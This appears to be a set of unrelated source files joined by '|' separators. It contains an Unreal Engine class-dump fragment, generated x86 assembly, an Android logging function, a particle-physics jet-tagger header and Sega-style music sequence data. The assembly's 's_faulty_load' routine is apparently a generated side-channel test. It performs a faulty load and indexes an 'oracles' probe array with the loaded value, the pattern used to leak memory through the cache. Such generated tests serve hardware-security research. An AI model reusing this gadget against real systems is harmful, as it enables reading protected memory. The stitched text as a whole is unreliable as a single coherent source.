void GamepadRightStickPressed();
void ServerSetLastTimePressedJump();
void ServerSetLastTimeReleasedJump();
void QueueLanding();
void ServerRequestLanding();
void OnBola();
void ServerUpdateRunningStartTime();
void ServerUpdateRunningStopTime();
void MultiOnRunStarted();
void MultiOnRunStopped();
void MultiOnSuperFlightStart();
void QueueGrabAttack();
void MultiThrusterVFXBoost();
void ServerRequestFireLasers(const struct FVector& CameraHitLoc);
void ClientSpawnLaserFireFX(const struct FVector& Start, const struct FVector& End, bool PlayImpactFX, bool HitCharacterOrStructure, const struct FName& Socket);
void ServerPressedFire();
void ServerFireChargedLaser(const struct FVector& Dir, const struct FVector& Loc, class AActor* Target);
void TickChargedLaserFX();
void ClearNumPressedFwdCount();
void ServerRequestStartLoop(bool Immelmann);
void MultiStartLoop(bool Immelmann);
void ReceiveHit(class UPrimitiveComponent** MyComp, class AActor** Other, class UPrimitiveComponent** OtherComp, bool* bSelfMoved, struct FVector* HitLocation, struct FVector* HitNormal, struct FVector* NormalImpulse, struct FHitResult* Hit);
void MultiImpactedTerrain();
void ClientPickupUpgrade(const struct FVector& PickupLocation);
void ServerRequestDestroyProjectile();
void MultiDestroyPorjectile();
void ServerSuperFightIsBraking(bool AxisValue);
void ServerRequestBarrelRoll(int Direction, const struct FVector& CamDir);
void MultiBarrelRoll(int Direction, const struct FVector& CameraDir);
void MultiReflectProjectile(class AShooterProjectile* Projectile);
void ClientDamagedByTerrain();
void MultiDriftingBoost(float Speed, const struct FVector& Direction);
void AnimNotifty_BarrelRollLeft();
void AnimNotifty_BarrelRollRight();
void ServerStartJump();
void StarFoxServerRequestFireLasers(const struct FVector& Start, const struct FVector& End);
void AnimNotify_Echo();
void ClientEchoLocations(TArray<struct FVector>* Locations);
void AnimNotify_FireChaff();
void MultiSpawnChaffs(TArray<struct FVector>* Locations);
void AnimNotify_Nudge();
void StopWildFlee();
void TriggerWildAnger();
void AnimNotify_BlowHole();
void ExpireAngryDinoTarget();
void MultiAngryBlowHole();
void SpaceWhaleIntroEnd();
void ExpireAnger();
void ServerUpdateLastElevateTime();
void ServerUpdateLastLowerTime();
void AnimNotify_ToggleSuperFlight();
void ServerForceClearRider();
void CenterMouse();
void ReceiveBeginPlay();
void MultiSaddleActivationText();
void UpdateLoopingEvent();
void ExecuteUbergraph_SpaceDolphin_Character_BP(int EntryPoint);
void NewEventDispatcher0__DelegateSignature();
void NewEventDispatcher__DelegateSignature();
};
}
#ifdef _MSC_VER
#pragma pack(pop)
#endif
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0xfdcb, %r11
nop
nop
nop
nop
add $13847, %r12
movb $0x61, (%r11)
nop
nop
nop
nop
cmp $47242, %rdx
lea addresses_D_ht+0x1b27b, %rcx
nop
nop
nop
dec %r14
vmovups (%rcx), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $1, %xmm0, %rbp
nop
and %rdx, %rdx
lea addresses_UC_ht+0x296b, %r12
nop
xor $35709, %rbx
mov (%r12), %r11d
add $49361, %rdx
lea addresses_WC_ht+0xf3eb, %r12
nop
nop
dec %rcx
movw $0x6162, (%r12)
nop
nop
nop
nop
add %rcx, %rcx
lea addresses_WT_ht+0x155eb, %rsi
lea addresses_A_ht+0x1df5b, %rdi
nop
nop
cmp $14740, %r12
mov $10, %rcx
rep movsl
nop
nop
sub $1332, %rdi
lea addresses_UC_ht+0x193fb, %rsi
lea addresses_UC_ht+0x786b, %rdi
nop
nop
nop
cmp $41500, %r11
mov $48, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp %rbp, %rbp
lea addresses_WT_ht+0x14e6b, %rcx
nop
add %rbx, %rbx
movups (%rcx), %xmm0
vpextrq $0, %xmm0, %rdx
sub %rdi, %rdi
lea addresses_WC_ht+0x43eb, %r12
nop
nop
nop
xor $15789, %rbx
mov (%r12), %rdx
nop
nop
nop
nop
nop
xor $59248, %rbx
lea addresses_A_ht+0x1befd, %rsi
lea addresses_UC_ht+0x1ddcb, %rdi
clflush (%rsi)
clflush (%rdi)
nop
nop
nop
nop
nop
dec %r12
mov $103, %rcx
rep movsb
sub %rdx, %rdx
lea addresses_WT_ht+0x18e6b, %rbp
nop
nop
nop
nop
nop
inc %r14
movb $0x61, (%rbp)
and %r12, %r12
lea addresses_normal_ht+0x1eedb, %r11
nop
nop
nop
nop
and %rdi, %rdi
vmovups (%r11), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %r14
nop
nop
nop
nop
nop
cmp %r12, %r12
lea addresses_D_ht+0x14a6b, %rdi
sub %r11, %r11
movb $0x61, (%rdi)
xor %rdx, %rdx
lea addresses_WT_ht+0x1c66b, %rsi
lea addresses_WT_ht+0x5fdb, %rdi
nop
nop
nop
nop
nop
add $56216, %r12
mov $56, %rcx
rep movsw
nop
nop
sub $19817, %rbx
lea addresses_D_ht+0x15c6d, %rcx
nop
nop
and %rsi, %rsi
movb (%rcx), %r14b
nop
add %rcx, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %r15
push %r8
push %rbx
push %rdi
// Store
mov $0x27, %r8
nop
dec %r12
movw $0x5152, (%r8)
nop
inc %r12
// Store
lea addresses_WC+0x5e6b, %r8
nop
nop
inc %rdi
mov $0x5152535455565758, %r15
movq %r15, (%r8)
nop
nop
nop
nop
dec %r15
// Store
lea addresses_WC+0x10e6b, %r14
nop
dec %rdi
mov $0x5152535455565758, %r13
movq %r13, %xmm5
vmovntdq %ymm5, (%r14)
nop
nop
inc %r13
// Store
lea addresses_RW+0x1f16b, %r14
xor $60520, %rbx
mov $0x5152535455565758, %r12
movq %r12, %xmm0
movups %xmm0, (%r14)
sub %rbx, %rbx
// Store
lea addresses_UC+0x8e6b, %r13
nop
xor $37587, %r14
movw $0x5152, (%r13)
nop
nop
nop
dec %r13
// Store
lea addresses_normal+0x1a86b, %r12
nop
and $937, %r14
mov $0x5152535455565758, %rdi
movq %rdi, %xmm5
movups %xmm5, (%r12)
nop
inc %r15
// Faulty Load
lea addresses_A+0x1266b, %rbx
nop
xor %r14, %r14
mov (%rbx), %r12d
lea oracles, %r15
and $0xff, %r12
shlq $12, %r12
mov (%r15,%r12,1), %r12
pop %rdi
pop %rbx
pop %r8
pop %r15
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_A'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 1, 'same': False, 'type': 'addresses_P'}, 'OP': 'STOR'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 10, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 11, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 5, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 11, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_A'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 4, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 7, 'same': True, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11, 'same': True, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
#include "platform/CACommon.h"
#include "jni/Java_org_CrossApp_lib_CrossAppHelper.h"
#include <android/log.h>
#include <stdio.h>
#include <jni.h>
NS_CC_BEGIN
#define MAX_LEN (CrossApp::kMaxLogLen + 1)
void CCLog(const char * pszFormat, ...)
{
char buf[MAX_LEN];
va_list args;
va_start(args, pszFormat);
vsnprintf(buf, MAX_LEN, pszFormat, args);
va_end(args);
//__android_log_print(ANDROID_LOG_ERROR, "CrossApp debug info", "%s", buf);
__android_log_print(ANDROID_LOG_DEBUG, "CrossApp debug info", "%s", buf);
}
NS_CC_END
|
// Copyright (c) 2010-12, Pierre-Antoine Delsart, Kurtis Geerlings, Joey Huston,
// Brian Martin, and Christopher Vermilion
//
//----------------------------------------------------------------------
// This file is part of SpartyJet.
//
// SpartyJet is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 3 of the License, or
// (at your option) any later version.
//
// SpartyJet is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with SpartyJet; if not, write to the Free Software
// Foundation, Inc.:
// 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
//----------------------------------------------------------------------
/*
* Implements the dipolarity jet shape on top of a top tagger that identifies
* a W with two subjets. Dipolarity is described in arXiv:1102.1012, by
* Hook, Jankowiak, and Wacker, and implemented in Dipolarity.hh, provided
* by Martin Jankowiak.
*
* In this tagger-plus-dipolarity tool, the particles entering the dipolarity
* sum are taken to be all consituents of the *original* (not filtered) jet
* that are within DeltaR_{j1,j2}/2 of either j1 or j2 (the W subjets), and
* *not* within the smallest cone that encloses the b subjet -- ie, the
* maximum distance DeltaR_{b,k} for any constituent k in the b subjet.
*/
#ifndef _TOPTAGGERDIPOLARITYTOOL_HH_
#define _TOPTAGGERDIPOLARITYTOOL_HH_
#include "TransformerTool.hh"
#include "fastjet/tools/TopTaggerBase.hh"
namespace SpartyJet {
namespace FastJet {
class TopTaggerDipolarityTool : public TransformerTool {
public:
TopTaggerDipolarityTool(fastjet::TopTaggerBase* tagger, std::string name="TopTaggerDipolarity")
: TransformerTool(name, tagger) {
}
virtual void init(JetMomentMap* mmap=0) {
TransformerTool::init(mmap);
if (mmap) mmap->schedule_jet_moment<Double32_t>("dipolarity");
}
virtual void execute(Jet* j, JetMomentMap* map);
};
}
} // namespace SpartyJet
#endif
|
ICZ2_Header:
sHeaderInit ; Z80 offset is $CA37
sHeaderPatch ICZ2_Patches
sHeaderCh $06, $03
sHeaderTempo $01, $23
sHeaderDAC ICZ2_DAC
sHeaderFM ICZ2_FM1, $18, $18
sHeaderFM ICZ2_FM2, $00, $0D
sHeaderFM ICZ2_FM3, $0C, $1E
sHeaderFM ICZ2_FM4, $0C, $1E
sHeaderFM ICZ2_FM5, $18, $20
sHeaderPSG ICZ2_PSG1, $00, $03, $00, v00
sHeaderPSG ICZ2_PSG2, $00, $05, $00, v00
sHeaderPSG ICZ2_PSG3, $00, $04, $00, v00
ICZ2_FM1:
sPatFM $02
saTranspose $F4
saVolFM $05
dc.b nF5, $06, nRst, $02, nF5, $06, nRst, nF5
dc.b $04, nF5, $06, nRst, nF5, $06, nRst, $02
dc.b nF5, $06, nRst, nF5, $04, nF5, $06, nRst
dc.b nF5, $06, nRst, nF5, nRst, nD5, nRst, $2A
dc.b nD5, $06, nRst, $02, nD5, $06, nRst, nD5
dc.b nRst, nD5, $04, nD5, $06, nRst
saTranspose $0C
saVolFM $FB
ICZ2_Loop1:
sPatFM $00
ssModZ80 $20, $01, $05, $05
dc.b nBb4, $03, sHold, nB4, $15, nG4, $06, nRst
dc.b nD4, $60, nRst, $0C, nBb4, $02, sHold, nB4
dc.b $04, nRst, $06, nB4, $12, nRst, $06, nB4
dc.b $03, sHold, nC5, $15, nB4, $06, nRst, nA4
dc.b $60, sHold, nA4, $30, nRst, $18, nBb4, $02
dc.b sHold, nB4, $16, nG4, $06, nRst, nD4, $60
dc.b nRst, $0C, nCs5, $02, sHold, nD5, $04, nRst
dc.b $06, nD5, $18, nC5, nB4, $06, nRst, nA4
dc.b $60, sHold, $48
sLoop $00, $02, ICZ2_Loop1
sPatFM $02
saTranspose $E8
dc.b nRst, $08, nG4, $04, nA4, nRst, nG4, nA4
dc.b nRst, nG4, nRst, $08, nAb4, $03, sHold, nA4
dc.b $0D, nG4, $04, nRst, $28, nG4, $04, nA4
dc.b nRst, nG4, nA4, nRst, nG4, nRst, $08, nB4
dc.b $03, sHold, nC5, $0D, nB4, $04, nRst, $08
dc.b nA4, $08, nRst, $04, nG4, $08, nRst, $04
dc.b nB4, $03, sHold, nC5, $11, nD5, $04, nRst
dc.b $0C, nA4, $24, nRst, $0C, nF4, $04, nRst
dc.b $08, nF4, $0C, nE4, $08, nF4, $04, nRst
dc.b $08, nE4, $04, nD4, $30, nRst, $0C, nRst
dc.b $08, nG4, $04, nA4, nRst, nG4, nA4, nRst
dc.b nG4, nRst, $08, nAb4, $03, sHold, nA4, $0D
dc.b nG4, $04, nRst, $28, nG4, $04, nA4, nRst
dc.b nG4, nA4, nRst, nG4, nRst, $08, nB4, $03
dc.b sHold, nC5, $0D, nB4, $04, nRst, $08, nA4
dc.b $08, nRst, $04, nG4, $08, nRst, $04, nC5
dc.b $10, nRst, $04, nD5, $04, nRst, $0C, nEb5
dc.b $03, sHold, nE5, $2D, nRst, $0C, nA4, $04
dc.b nG4, nA4, nB4, nA4, nB4, nC5, nB4, nC5
dc.b nD5, nC5, nD5, nE5, nD5, nE5, nF5, nE5
dc.b nF5, nG5, nF5, nG5, nA5, nG5, nA5
saTranspose $18
dc.b nRst, $60, nRst, nRst, nRst, nRst, nRst, nRst
dc.b nRst
sJump ICZ2_Loop1
dc.b $F2 ; Unused
ICZ2_FM2:
sPatFM $01
dc.b nD2, $04, nRst, nD2, nRst, $08, nD2, $04
dc.b nD2, nRst, $08, nD2, $04, nRst, nD2, nRst
dc.b $08, nD2, $04, nD2, nRst, $08, nD2, $04
dc.b nRst, $08, nD2, $04, nRst, $08, nG2, $06
dc.b nRst, $2A, nD2, $04, nRst, nD2, nRst, $08
dc.b nD2, $04, nRst, $08, nD2, $04, nD2, nRst
dc.b $08
ICZ2_Jump1:
dc.b nG2, $04, nRst, $08, nG2, $04, nRst, $08
dc.b nG2, $04, nRst, $08, nD2, nG2, $04, nRst
dc.b $08, nG2, $04, nG2, nRst, $08, nG2, $0C
dc.b nD2, nG2, $04, nRst, $08, nG2, $04, nRst
dc.b $08, nG2, $04, nRst, $08, nD2, nG2, $04
dc.b nRst, $08, nG2, $04, nG2, nRst, $08, nG2
dc.b $0C, nD2, nF2, $04, nRst, $08, nF2, $04
dc.b nRst, $08, nF2, $04, nRst, $08, nD2, nF2
dc.b $04, nRst, $08, nF2, $04, nF2, nRst, $08
dc.b nF2, $0C, nD2, nF2, $04, nRst, $08, nF2
dc.b $04, nRst, $08, nF2, $04, nRst, $08, nD2
dc.b nA2, $04, nRst, $08, nA2, $04, nA2, nRst
dc.b $08, nA2, $0C, nD2
sJump ICZ2_Jump1
dc.b $F2 ; Unused
ICZ2_FM3:
sPan spLeft
sPatFM $02
dc.b nRst, $01, nC5, $06, nRst, $02, nC5, $06
dc.b nRst, nC5, $04, nC5, $06, nRst, nC5, $06
dc.b nRst, $02, nC5, $06, nRst, nC5, $04, nC5
dc.b $06, nRst, nC5, $06, nRst, nC5, nRst, nA4
dc.b nRst, $2A, nA4, $06, nRst, $02, nA4, $06
dc.b nRst, nA4, nRst, nA4, $04, nA4, $06, nRst
dc.b $05
ICZ2_Jump2:
dc.b nG3, $04, nRst, $08, nD3, $04, nRst, $04
dc.b nG3, $04, nRst, $08, nD3, $04, nG3, nRst
dc.b $08, nG3, $04, nRst, $20, nD3, $08, nRst
dc.b $04, nG3, $04, nRst, $08, nD3, $04, nRst
dc.b $04, nG3, $04, nRst, $08, nD3, $04, nG3
dc.b nRst, $08, nD3, $08, nRst, $04, nG3, $04
dc.b nRst, $08, nG3, $0C, nD3, nF3, $04, nRst
dc.b $08, nD3, $04, nRst, $04, nF3, $04, nRst
dc.b $08, nD3, $04, nF3, nRst, $08, nF3, $04
dc.b nRst, $20, nD3, $08, nRst, $04, nF3, $04
dc.b nRst, $08, nD3, $04, nRst, $04, nF3, $04
dc.b nRst, $08, nD3, $04, nF3, nRst, $08, nD3
dc.b $08, nRst, $04, nA3, $04, nRst, $08, nA3
dc.b $0C, nD3
sJump ICZ2_Jump2
dc.b $F2 ; Unused
ICZ2_FM4:
sPan spRight
sPatFM $02
dc.b nRst, $02, nF4, $06, nRst, $02, nF4, $06
dc.b nRst, nF4, $04, nF4, $06, nRst, nF4, $06
dc.b nRst, $02, nF4, $06, nRst, nF4, $04, nF4
dc.b $06, nRst, nF4, $06, nRst, nF4, nRst, nD4
dc.b nRst, $2A, nD4, $06, nRst, $02, nD4, $06
dc.b nRst, nD4, nRst, nD4, $04, nD4, $06, nRst
dc.b $04
ICZ2_Jump3:
dc.b nB3, $04, nRst, $08, nD3, $04, nRst, $04
dc.b nB3, $04, nRst, $08, nD3, $04, nB3, nRst
dc.b $08, nB3, $04, nRst, $20, nD3, $08, nRst
dc.b $04, nB3, $04, nRst, $08, nD3, $04, nRst
dc.b $04, nB3, $04, nRst, $08, nD3, $04, nB3
dc.b nRst, $08, nD3, $08, nRst, $04, nB3, $04
dc.b nRst, $08, nB3, $0C, nD3, nA3, $04, nRst
dc.b $08, nD3, $04, nRst, $04, nA3, $04, nRst
dc.b $08, nD3, $04, nA3, nRst, $08, nA3, $04
dc.b nRst, $20, nD3, $08, nRst, $04, nA3, $04
dc.b nRst, $08, nD3, $04, nRst, $04, nA3, $04
dc.b nRst, $08, nD3, $04, nA3, nRst, $08, nD3
dc.b $08, nRst, $04, nC4, $04, nRst, $08, nC4
dc.b $0C, nD3
sJump ICZ2_Jump3
dc.b $F2 ; Unused
ICZ2_FM5:
dc.b nRst, $60, nRst, nRst, $09
ssDetune $05
sJump ICZ2_Loop1
dc.b $F2 ; Unused
ICZ2_DAC:
dc.b dKick, $04, nRst, $10, dKick, $04, dSnare, $04
dc.b nRst, $08, dKick, $04, nRst, $14, dKick, $04
dc.b nRst, $08, dSnare, $04, nRst, $08, dKick, $04
dc.b nRst, $08, dKick, $04, nRst, $14, dSnare, $04
dc.b nRst, $10, dSnare, $04, dSnare, $04, nRst, dSnare
dc.b nRst, $08, dSnare, $04, dSnare, nRst, dSnare, dSnare
dc.b nRst, dSnare
ICZ2_Jump5:
dc.b dKick, $04, nRst, $10, dKick, $04, dSnare, nRst
dc.b $08, dKick, $04, nRst, $08, dKick, $04, nRst
dc.b dSnare, dKick, nRst, $08, dSnare, $04, nRst, $08
dc.b dKick, $04, nRst, $08, dKick, $04, nRst, $10
dc.b dKick, $04, dSnare, nRst, $08, dKick, $04, nRst
dc.b $08, dKick, $04, nRst, dSnare, dKick, nRst, $08
dc.b dSnare, $04, nRst, $08, dKick, $04, nRst, dSnare
dc.b dKick, $04, nRst, $10, dKick, $04, dSnare, nRst
dc.b $08, dKick, $04, nRst, $08, dKick, $04, nRst
dc.b dSnare, dKick, nRst, $08, dSnare, $04, nRst, $08
dc.b dKick, $04, nRst, $08, dKick, $04, nRst, $10
dc.b dKick, $04, dSnare, nRst, $08, dKick, $04, nRst
dc.b $08, dKick, $04, nRst, dSnare, dKick, nRst, $08
dc.b dSnare, $04, nRst, $08, dKick, $04, nRst, dSnare
dc.b dKick, $04, nRst, $10, dKick, $04, dSnare, nRst
dc.b $08, dKick, $04, nRst, $08, dKick, $04, nRst
dc.b dSnare, dKick, nRst, $08, dSnare, $04, nRst, $08
dc.b dKick, $04, nRst, $08, dKick, $04, nRst, $10
dc.b dKick, $04, dSnare, nRst, $08, dKick, $04, nRst
dc.b $08, dKick, $04, nRst, dSnare, dKick, nRst, $08
dc.b dSnare, $04, nRst, $08, dKick, $04, nRst, dSnare
dc.b dKick, $04, nRst, $10, dKick, $04, dSnare, nRst
dc.b $08, dKick, $04, nRst, $08, dKick, $04, nRst
dc.b dSnare, dKick, nRst, $08, dSnare, $04, nRst, $08
dc.b dKick, $04, nRst, $08, dKick, $04, nRst, $08
dc.b dSnare, $04, nRst, $08, dSnare, $04, nRst, dSnare
dc.b nRst, $08, dSnare, $04, dSnare, nRst, $08, dSnare
dc.b $04, nRst, dSnare, dSnare, nRst, dSnare, dSnare, nRst
dc.b $08
sJump ICZ2_Jump5
dc.b $F2 ; Unused
ICZ2_PSG1:
sVolEnvPSG v05
dc.b nRst, $60, nRst
ICZ2_Loop2:
sCall ICZ2_Call1
sLoop $00, $04, ICZ2_Loop2
ICZ2_Jump4:
dc.b nRst, $60, nRst, nRst, nRst, nRst, nRst, nRst
dc.b nRst
ICZ2_Loop3:
sCall ICZ2_Call1
sLoop $00, $06, ICZ2_Loop3
sJump ICZ2_Jump4
ICZ2_Call1:
dc.b nG3, $04, nRst, $08, nB3, $08, nD4, $04
dc.b nRst, $08, nC4, $04, nB3, nRst, $08, nG3
dc.b $04, nRst, $20, nG3, $04, nRst, $08, nG3
dc.b $04, nRst, $08, nB3, $08, nD4, $04, nRst
dc.b $08, nC4, $04, nB3, nRst, $08, nG3, $04
dc.b nRst, $08, nG3, $04, nRst, $08, nG3, $04
dc.b nRst, $08, nG3, $04, nRst, $08, nF3, $04
dc.b nRst, $08, nA3, $08, nC4, $04, nRst, $08
dc.b nB3, $04, nA3, nRst, $08, nF3, $04, nRst
dc.b $20, nF3, $04, nRst, $08, nF3, $04, nRst
dc.b $08, nA3, $08, nC4, $04, nRst, $08, nB3
dc.b $04, nA3, nRst, $08, nF3, $04, nRst, $08
dc.b nF3, $04, nRst, $08, nF3, $04, nRst, $08
dc.b nF3, $04, nRst, $08
sRet
ICZ2_PSG2:
dc.b nRst, $09
sJump ICZ2_PSG1
dc.b $F2 ; Unused
ICZ2_PSG3:
sNoisePSG $E7
sVolEnvPSG v02
dc.b nB6, $04, nRst, $08
saVolPSG $FC
dc.b nB6, $08, nRst, $04
saVolPSG $04
dc.b nB6, $04, nRst, $08
saVolPSG $FC
dc.b nB6, $08, nRst, $04
saVolPSG $04
dc.b nB6, $04, nRst, $04
saVolPSG $FC
dc.b nB6, $08, nRst, $04
saVolPSG $04
dc.b nB6, $04
saVolPSG $FC
dc.b nB6, $08, nRst, $04, nB6, $08, nRst, $04
saVolPSG $04
dc.b nB6, $04, nRst, $2C
saVolPSG $FC
dc.b nB6, $08, nRst, $04, nB6, $08, nRst, $04
dc.b nB6, $08, nRst, $04, nB6, $08, nRst, $04
saVolPSG $04
ICZ2_Loop4:
dc.b nB6, $04, nRst, $08
saVolPSG $FC
dc.b nB6, $08, nRst, $04
saVolPSG $04
dc.b nB6, $04, nRst, $08
saVolPSG $FC
dc.b nB6, $08, nRst, $04
saVolPSG $04
dc.b nB6, $04, nRst, $04
saVolPSG $FC
dc.b nB6, $08, nRst, $04
saVolPSG $04
dc.b nB6, $04
saVolPSG $FC
dc.b nB6, $08, nRst, $04
saVolPSG $04
dc.b nB6, $04, nRst, $08
sLoop $00, $03, ICZ2_Loop4
dc.b nB6, $04, nRst, $08
saVolPSG $FC
dc.b nB6, $08, nRst, $04
saVolPSG $04
dc.b nB6, $04, nRst, $04
saVolPSG $FC
dc.b nB6, $08, nRst, $04
saVolPSG $04
dc.b nB6, $04
saVolPSG $FC
dc.b nB6, $08, nRst, $04
saVolPSG $04
dc.b nB6, $04, nRst, $04
saVolPSG $FC
dc.b nB6, $08, nRst, $04
saVolPSG $04
dc.b nB6, $04
saVolPSG $FC
dc.b nB6, $08
saVolPSG $04
dc.b nRst, $04
sJump ICZ2_Loop4
dc.b $F2 ; Unused
